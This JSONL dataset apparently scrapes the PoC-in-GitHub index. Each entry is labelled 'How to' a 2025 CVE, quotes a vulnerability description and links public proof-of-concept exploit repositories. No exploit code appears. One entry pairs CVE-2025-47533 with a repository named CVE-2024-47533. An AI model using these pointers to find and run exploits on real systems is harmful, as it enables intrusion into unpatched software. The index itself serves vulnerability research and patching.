{"id": "gh_6eac51d99364", "question": "How to: CVE-2025-46041 (2025-06-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in Anchor CMS v0.12.7 allows attackers to inject malicious JavaScript via the page description field in the page creation interface (/admin/pages/add).\n```\n- [binneko/CVE-2025-46041](https://github.com/binneko/CVE-2025-46041)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156254"}
{"id": "gh_af13076e088d", "question": "How to: CVE-2025-46047 (2025-09-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA User enumeration vulnerability in the /CredentialsServlet/ForgotPassword endpoint in Silverpeas 6.4.1 and 6.4.2 allows remote attackers to determine valid usernames via the Login parameter.\n```\n- [J0ey17/CVE-2025-46047](https://github.com/J0ey17/CVE-2025-46047)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156258"}
{"id": "gh_165b1d988d98", "question": "How to: CVE-2025-46078 (2025-05-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHuoCMS V3.5.1 and before is vulnerable to file upload, which allows attackers to take control of the target server\n```\n- [yggcwhat/CVE-2025-46078](https://github.com/yggcwhat/CVE-2025-46078)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156262"}
{"id": "gh_69b22f934f5c", "question": "How to: CVE-2025-46080 (2025-05-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHuoCMS V3.5.1 has a File Upload Vulnerability. An attacker can exploit this flaw to bypass whitelist restrictions and craft malicious files with specific suffixes, thereby gaining control of the server.\n```\n- [yggcwhat/CVE-2025-46080](https://github.com/yggcwhat/CVE-2025-46080)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156266"}
{"id": "gh_cbe547b0671d", "question": "How to: CVE-2025-46099 (2025-07-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Pluck CMS 4.7.20-dev, an authenticated attacker can upload or create a crafted PHP file under the albums module directory and access it via the module routing logic in albums.site.php, resulting in arbitrary command execution through a GET parameter.\n```\n- [0xC4J/CVE-Lists](https://github.com/0xC4J/CVE-Lists)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156270"}
{"id": "gh_417bd7c3f296", "question": "How to: CVE-2025-46157 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in EfroTech Time Trax v.1.0 allows a remote attacker to execute arbitrary code via the file attachment function in the leave request form\n```\n- [morphine009/CVE-2025-46157](https://github.com/morphine009/CVE-2025-46157)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156274"}
{"id": "gh_3e3c6863ba88", "question": "How to: CVE-2025-46171 (2025-07-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nvBulletin 3.8.7 is vulnerable to a denial-of-service condition via the misc.php?do=buddylist endpoint. If an authenticated user has a sufficiently large buddy list, processing the list can consume excessive memory, exhausting system resources and crashing the forum.\n```\n- [oiyl/CVE-2025-46171](https://github.com/oiyl/CVE-2025-46171)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156281"}
{"id": "gh_9177acba3f38", "question": "How to: CVE-2025-46173 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ncode-projects Online Exam Mastering System 1.0 is vulnerable to Cross Site Scripting (XSS) via the name field in the feedback form.\n```\n- [pruthuraut/CVE-2025-46173](https://github.com/pruthuraut/CVE-2025-46173)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156285"}
{"id": "gh_b5c4a955a6c6", "question": "How to: CVE-2025-46178 (2025-06-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Scripting (XSS) vulnerability exists in askquery.php via the eid parameter in the CloudClassroom PHP Project. This allows remote attackers to inject arbitrary JavaScript in the context of a victim s browser session by sending a crafted URL, leading to session hijacking or defacement.\n```\n- [SacX-7/CVE-2025-46178](https://github.com/SacX-7/CVE-2025-46178)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156289"}
{"id": "gh_0014525a1166", "question": "How to: CVE-2025-46181", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [shemkumar/CVE-2025-46181-XSS](https://github.com/shemkumar/CVE-2025-46181-XSS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156293"}
{"id": "gh_d955f76bb627", "question": "How to: CVE-2025-46203 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Unifiedtransform v2.0 allows a remote attacker to escalate privileges via the /students/edit/{id} endpoint.\n```\n- [spbavarva/CVE-2025-46203](https://github.com/spbavarva/CVE-2025-46203)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156297"}
{"id": "gh_7cb4e8162a25", "question": "How to: CVE-2025-46204 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Unifiedtransform v2.0 allows a remote attacker to escalate privileges via the /course/edit/{id} endpoint.\n```\n- [spbavarva/CVE-2025-46204](https://github.com/spbavarva/CVE-2025-46204)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156301"}
{"id": "gh_3e9523dc1ace", "question": "How to: CVE-2025-46206 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Artifex mupdf 1.25.6, 1.25.5 allows a remote attacker to cause a denial of service via an infinite recursion in the `mutool clean` utility. When processing a crafted PDF file containing cyclic /Next references in the outline structure, the `strip_outline()` function enters infinite recursion\n```\n- [Landw-hub/CVE-2025-46206](https://github.com/Landw-hub/CVE-2025-46206)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156307"}
{"id": "gh_be1b9ca8df03", "question": "How to: CVE-2025-46271 (2025-04-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUNI-NMS-Lite is vulnerable to a command injection attack that could \\nallow an unauthenticated attacker to read or manipulate device data.\n```\n- [1Altruist/CVE-2025-46271-Reverse-Shell-PoC](https://github.com/1Altruist/CVE-2025-46271-Reverse-Shell-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156311"}
{"id": "gh_bd10920d19c1", "question": "How to: CVE-2025-46295 (2025-12-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nApache Commons Text versions prior to 1.10.0 included interpolation features that could be abused when applications passed untrusted input into the text-substitution API. Because some interpolators could trigger actions like executing commands or accessing external resources, an attacker could potentially achieve remote code execution. This vulnerability has been fully addressed in FileMaker Server 22.0.4.\n```\n- [soliantconsulting/CVE-2025-46295-fix-fms](https://github.com/soliantconsulting/CVE-2025-46295-fix-fms)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156316"}
{"id": "gh_b01c2f9c3707", "question": "How to: CVE-2025-46408 (2025-09-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in the methods push.lite.avtech.com.AvtechLib.GetHttpsResponse and push.lite.avtech.com.Push_HttpService.getNewHttpClient in AVTECH EagleEyes 2.0.0. The methods set ALLOW_ALL_HOSTNAME_VERIFIER, bypassing domain validation.\n```\n- [shinyColumn/CVE-2025-46408](https://github.com/shinyColumn/CVE-2025-46408)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156322"}
{"id": "gh_3ff82d9206d2", "question": "How to: CVE-2025-46657 (2025-04-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nKaraz Karazal through 2025-04-14 allows reflected XSS via the lang parameter to the default URI.\n```\n- [nov-1337/CVE-2025-46657](https://github.com/nov-1337/CVE-2025-46657)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156326"}
{"id": "gh_54ed5cfbfa30", "question": "How to: CVE-2025-46701 (2025-05-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.\\n\\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \\nmay also be affected.\\n\\n\\nUsers are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.\n```\n- [gregk4sec/CVE-2025-46701](https://github.com/gregk4sec/CVE-2025-46701)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156331"}
{"id": "gh_48b5e6e4a839", "question": "How to: CVE-2025-46721 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nnosurf is cross-site request forgery (CSRF) protection middleware for Go. A vulnerability in versions prior to 1.2.0 allows an attacker who controls content on the target site, or on a subdomain of the target site (either via XSS, or otherwise) to bypass CSRF checks and issue requests on user's behalf. Due to misuse of the Go `net/http` library, nosurf categorizes all incoming requests as plain-text HTTP requests, in which case the `Referer` header is not checked to have the same origin as the target webpage. If the attacker has control over HTML contents on either the target website (e.g. `example.com`), or on a website hosted on a subdomain of the target (e.g. `attacker.example.com`), they will also be able to manipulate cookies set for the target website. By acquiring the secret CSRF token from the cookie, or overriding the cookie with a new token known to the attacker, `attacker.example.com` is able to craft cross-site requests to `example.com`. A patch for the issue was released in nosurf 1.2.0. In lieu of upgrading to a patched version of nosurf, users may additionally use another HTTP middleware to ensure that a non-safe HTTP request is coming from the same origin (e.g. by requiring a `Sec-Fetch-Site: same-origin` header in the request).\n```\n- [justinas/nosurf-cve-2025-46721](https://github.com/justinas/nosurf-cve-2025-46721)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156337"}
{"id": "gh_9c846927383f", "question": "How to: CVE-2025-46731 (2025-05-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCraft is a content management system. Versions of Craft CMS on the 4.x branch prior to 4.14.13 and on the 5.x branch prior to 5.6.16 contains a potential remote code execution vulnerability via Twig SSTI. One must have administrator access and `ALLOW_ADMIN_CHANGES` must be enabled for this to work. Users should update to the patched versions 4.14.13 or 5.6.15 to mitigate the issue.\n```\n- [singetu0096/CVE-2025-46731](https://github.com/singetu0096/CVE-2025-46731)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156342"}
{"id": "gh_196fef8b0401", "question": "How to: CVE-2025-46811 (2025-07-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Missing Authorization vulnerability in SUSE Linux Manager allows anyone with the ability to connect to port 443 of SUSE Manager is able to run any command as root on any client. This issue affects Container suse/manager/5.0/x86_64/server:5.0.5.7.30.1: from ? before 5.0.27-150600.3.33.1; Image SLES15-SP4-Manager-Server-4-3-BYOS: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE: from ? before 4.3.87-150400.3.110.2; SUSE Manager Server Module 4.3: from ? before 4.3.87-150400.3.110.2.\n```\n- [b-L-x/CVE-2025-46811](https://github.com/b-L-x/CVE-2025-46811)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156349"}
{"id": "gh_89ffedfbf525", "question": "How to: CVE-2025-46816 (2025-05-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ngoshs is a SimpleHTTPServer written in Go. Starting in version 0.3.4 and prior to version 1.0.5, running goshs without arguments makes it possible for anyone to execute commands on the server. The function `dispatchReadPump` does not checks the option cli `-c`, thus allowing anyone to execute arbitrary command through the use of websockets. Version 1.0.5 fixes the issue.\n```\n- [Guilhem7/CVE-2025-46816](https://github.com/Guilhem7/CVE-2025-46816)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156353"}
{"id": "gh_9056e80002d4", "question": "How to: CVE-2025-46822 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.\n```\n- [d3sca/CVE-2025-46822](https://github.com/d3sca/CVE-2025-46822)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156358"}
{"id": "gh_86a3c4af67b4", "question": "How to: CVE-2025-47175 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.\n```\n- [mbanyamer/mbanyamer-Microsoft-PowerPoint-Use-After-Free-Remote-Code-Execution-RCE](https://github.com/mbanyamer/mbanyamer-Microsoft-PowerPoint-Use-After-Free-Remote-Code-Execution-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156362"}
{"id": "gh_e41379a7a46d", "question": "How to: CVE-2025-47176 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\n'.../...//' in Microsoft Office Outlook allows an authorized attacker to execute code locally.\n```\n- [mahyarx/CVE-2025-47176](https://github.com/mahyarx/CVE-2025-47176)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156366"}
{"id": "gh_ee08c3749941", "question": "How to: CVE-2025-47178 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to execute code over an adjacent network.\n```\n- [synacktiv/CVE-2025-47178](https://github.com/synacktiv/CVE-2025-47178)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156375"}
{"id": "gh_ebca6af4c3ad", "question": "How to: CVE-2025-47181 (2025-05-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper link resolution before file access ('link following') in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.\n```\n- [encrypter15/CVE-2025-47181](https://github.com/encrypter15/CVE-2025-47181)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156379"}
{"id": "gh_55e99d1c69b6", "question": "How to: CVE-2025-47226 (2025-05-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGrokability Snipe-IT before 8.1.0 has incorrect authorization for accessing asset information.\n```\n- [koyomihack00/CVE-2025-47226](https://github.com/koyomihack00/CVE-2025-47226)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156383"}
{"id": "gh_d4eeecb9a0cf", "question": "How to: CVE-2025-47227 (2025-07-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Production Environment extension in Netmake ScriptCase through 9.12.006 (23), the Administrator password reset mechanism is mishandled. Making both a GET and a POST request to login.php.is sufficient. An unauthenticated attacker can then bypass authentication via administrator account takeover.\n```\n- [synacktiv/CVE-2025-47227_CVE-2025-47228](https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228)\n- [Ashwesker/Ashwesker-CVE-2025-47227](https://github.com/Ashwesker/Ashwesker-CVE-2025-47227)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156388"}
{"id": "gh_7b43eca2d0b3", "question": "How to: CVE-2025-47256 (2025-05-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLibxmp through 4.6.2 has a stack-based buffer overflow in depack_pha in loaders/prowizard/pha.c via a malformed Pha format tracker module in a .mod file.\n```\n- [SexyShoelessGodofWar/CVE-2025-47256](https://github.com/SexyShoelessGodofWar/CVE-2025-47256)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156394"}
{"id": "gh_7e299b040971", "question": "How to: CVE-2025-47423 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPersonal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n```\n- [Haluka92/CVE-2025-47423](https://github.com/Haluka92/CVE-2025-47423)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156398"}
{"id": "gh_3bd297f59757", "question": "How to: CVE-2025-47533 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in Iqonic Design Graphina allows PHP Local File Inclusion. This issue affects Graphina: from n/a through 3.0.4.\n```\n- [zs1n/CVE-2024-47533](https://github.com/zs1n/CVE-2024-47533)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156403"}
{"id": "gh_10e6c5affa4b", "question": "How to: CVE-2025-47539 (2025-05-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Privilege Assignment vulnerability in Themewinter Eventin allows Privilege Escalation. This issue affects Eventin: from n/a through 4.0.26.\n```\n- [Nxploited/CVE-2025-47539](https://github.com/Nxploited/CVE-2025-47539)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156408"}
{"id": "gh_8d7617c254ce", "question": "How to: CVE-2025-47549 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in Themefic BEAF allows Upload a Web Shell to a Web Server.\\n\\nThis issue affects BEAF: from n/a through 4.6.10.\n```\n- [d0n601/CVE-2025-47549](https://github.com/d0n601/CVE-2025-47549)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156413"}
{"id": "gh_e40f1201d654", "question": "How to: CVE-2025-47550 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in Themefic Instantio allows Upload a Web Shell to a Web Server.\\n\\nThis issue affects Instantio: from n/a through 3.3.16.\n```\n- [d0n601/CVE-2025-47550](https://github.com/d0n601/CVE-2025-47550)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156418"}
{"id": "gh_ad06e2ff251f", "question": "How to: CVE-2025-47577 (2025-05-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in TemplateInvaders TI WooCommerce Wishlist allows Upload a Web Shell to a Web Server.This issue affects TI WooCommerce Wishlist: from n/a before 2.10.0.\n```\n- [Yucaerin/CVE-2025-47577](https://github.com/Yucaerin/CVE-2025-47577)\n- [sug4r-wr41th/CVE-2025-47577](https://github.com/sug4r-wr41th/CVE-2025-47577)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156422"}
{"id": "gh_5c8a5fda5ea6", "question": "How to: CVE-2025-47646 (2025-05-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWeak Password Recovery Mechanism for Forgotten Password vulnerability in Gilblas Ngunte Possi PSW Front-end Login &amp; Registration allows Password Recovery Exploitation. This issue affects PSW Front-end Login &amp; Registration: from n/a through 1.13.\n```\n- [Nxploited/CVE-2025-47646](https://github.com/Nxploited/CVE-2025-47646)\n- [RootHarpy/CVE-2025-47646](https://github.com/RootHarpy/CVE-2025-47646)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156428"}
{"id": "gh_b26234239837", "question": "How to: CVE-2025-47810", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [ptrstr/CVE-2025-47810](https://github.com/ptrstr/CVE-2025-47810)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156433"}
{"id": "gh_bcf89945e558", "question": "How to: CVE-2025-47812 (2025-07-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\\0' bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.\n```\n- [4m3rr0r/CVE-2025-47812-poc](https://github.com/4m3rr0r/CVE-2025-47812-poc)\n- [0xcan1337/CVE-2025-47812-poC](https://github.com/0xcan1337/CVE-2025-47812-poC)\n- [0xgh057r3c0n/CVE-2025-47812](https://github.com/0xgh057r3c0n/CVE-2025-47812)\n- [ill-deed/WingFTP-CVE-2025-47812-illdeed](https://github.com/ill-deed/WingFTP-CVE-2025-47812-illdeed)\n- [pevinkumar10/CVE-2025-47812](https://github.com/pevinkumar10/CVE-2025-47812)\n- [rxerium/CVE-2025-47812](https://github.com/rxerium/CVE-2025-47812)\n- [blindma1den/CVE-2025-47812](https://github.com/blindma1den/CVE-2025-47812)\n- [Ashwesker/Ashwesker-CVE-2025-47812](https://github.com/Ashwesker/Ashwesker-CVE-2025-47812)\n- [r0otk3r/CVE-2025-47812](https://github.com/r0otk3r/CVE-2025-47812)\n- [CTY-Research-1/CVE-2025-47812_Lab_environment](https://github.com/CTY-Research-1/CVE-2025-47812_Lab_environment)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156439"}
{"id": "gh_eddb8da4ba2e", "question": "How to: CVE-2025-47827 (2025-06-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn IGEL OS before 11, Secure Boot can be bypassed because the igel-flash-driver module improperly verifies a cryptographic signature. Ultimately, a crafted root filesystem can be mounted from an unverified SquashFS image.\n```\n- [Zedeldi/CVE-2025-47827](https://github.com/Zedeldi/CVE-2025-47827)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156444"}
